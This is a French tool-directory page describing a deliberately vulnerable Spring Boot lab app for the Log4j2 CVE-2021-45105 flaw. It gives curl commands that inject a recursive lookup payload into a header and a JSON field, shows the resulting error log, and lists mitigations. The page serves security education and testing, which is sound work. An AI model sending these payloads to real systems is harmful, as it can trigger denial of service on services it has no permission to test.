Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4j2-CVE-2021-45105 — Exemple d'application web Spring Boot vulnérable à Log4j2 CVE-2021-45105 avec étapes d'exploitation documentées et conseils d'atténuation pour les tests de sécurité et l'éducation. | Kitploit
Outils/GitHubGitHub/pravin-pp/log4j2-cve-2021-45105
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubpravin-pp/log4j2-cve-2021-45105

log4j2-CVE-2021-45105

Exemple d'application web Spring Boot vulnérable à Log4j2 CVE-2021-45105 avec étapes d'exploitation documentées et conseils d'atténuation pour les tests de sécurité et l'éducation.

Voir le dépôt
2il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Application Log4j2 vulnérable d'exemple (CVE-2021-45105)

Versions affectées : toutes les versions de 2.0-beta9 à 2.16.0

Cette application est basée sur une application web Spring Boot vulnérable à la CVE-2021-45105

Elle utilise Log4j 2.16.0

Exécution de l'application

Exécutez-la :

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Étapes d'exploitation

  • Ensuite, déclenchez l'exploit en utilisant :
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Remarquez la sortie affichant une boucle infinie ; toutefois, lors des tests, il n'a pas été constaté que ce déni de service (DoS) était gourmand en ressources, car cette boucle infinie est identifiée par le programme et génère une erreur :

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

Atténuation :

Les utilisateurs de Java 8 (ou version ultérieure) doivent mettre à niveau vers la version 2.17.0.

Alternativement, cela peut être atténué dans la configuration :

Dans PatternLayout de la configuration de journalisation, remplacez les Context Lookups comme ${ctx:loginId} ou $${ctx:loginId} par les motifs Thread Context Map (%X, %mdc ou %MDC). Sinon, dans la configuration, supprimez les références aux Context Lookups comme ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application, telles que les en-têtes HTTP ou les entrées utilisateur.

Télécharger l’outil